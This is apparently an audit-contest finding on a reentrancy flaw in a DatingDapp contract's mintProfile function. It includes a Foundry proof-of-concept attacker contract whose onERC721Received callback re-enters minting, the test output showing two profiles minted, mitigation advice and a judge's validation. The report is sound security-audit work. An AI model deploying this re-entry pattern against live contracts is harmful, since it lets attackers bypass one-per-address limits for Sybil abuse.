DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in mintProfile funnction in SouldboundProfileNFT.sol

Summary

The SoulboundProfileNFT::mintProfile function is vulnerable to a reentrancy attack, which could allow a malicious actor to create multiple profiles by reentering the function before profileToToken[msg.sender] is updated.

Vulnerability Details

The contract doesn't follow CEI(checks, effects, interactions). The function checks whether profileToToken[msg.sender] == 0 before proceeding. _safeMint(msg.sender, tokenId); is called before updating profileToToken[msg.sender].
If the _safeMint function triggers an external call, an attacker could reenter the mintProfile function before profileToToken[msg.sender] is updated.
Since profileToToken[msg.sender] remains 0 during reentrancy, the attacker can call mintProfile multiple times, creating multiple profiles.
Here is what a malicious actor would do:

<summary> PoC </summary>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract MaliciousContract is IERC721Receiver {
SoulboundProfileNFT public nftContract;
bool private isReentering;
constructor(address _nftContractAddress) {
nftContract = SoulboundProfileNFT(_nftContractAddress);
}
function attack() external {
nftContract.mintProfile("Malicious", 99, "malicious_image");
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external override returns (bytes4) {
if (!isReentering) {
isReentering = true;
// Attempt reentrancy
this.attack();
isReentering = false;
}
return this.onERC721Received.selector;
}
}
contract SoulboundProfileNFTTest is Test {
SoulboundProfileNFT public nftContract;
MaliciousContract public maliciousContract;
function setUp() public {
nftContract = new SoulboundProfileNFT();
maliciousContract = new MaliciousContract(address(nftContract));
}
function testReentrancyAttack() public {
// Execute the attack
maliciousContract.attack();
// Check the balance of the malicious contract
uint256 balance = nftContract.balanceOf(address(maliciousContract));
// Assert only one token exists, reentrancy prevented
assertEq(balance, 1, "Reentrancy attack succeeded");
}

After we run this code, this is the output:

Failing tests:
Encountered 1 failing test in test/Reentrancy.t.sol:SoulboundProfileNFTTest
[FAIL: Reentrancy attack succeeded: 2 != 1] testReentrancyAttack() (gas: 286056)

Which means malicious actor has succesfully created more than 1 profile

Impact

An attacker could bypass the one-profile-per-address restriction.
This could lead to an attacker unfairly obtaining multiple identities in a system designed to restrict each user to a single profile.
The exploit could be used for Sybil attacks, spam, or other manipulations in applications relying on unique profiles.

Tools Used

  • Manual review

  • Foundry

Recommendations

  • Use the Checks-Effects-Interactions Pattern: Move profileToToken[msg.sender] = tokenId; before _safeMint to prevent reentrancy.

  • Use Reentrancy Guards: Add nonReentrant from OpenZeppelin's ReentrancyGuard to prevent multiple executions.

Updates

Appeal created

n0kto Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.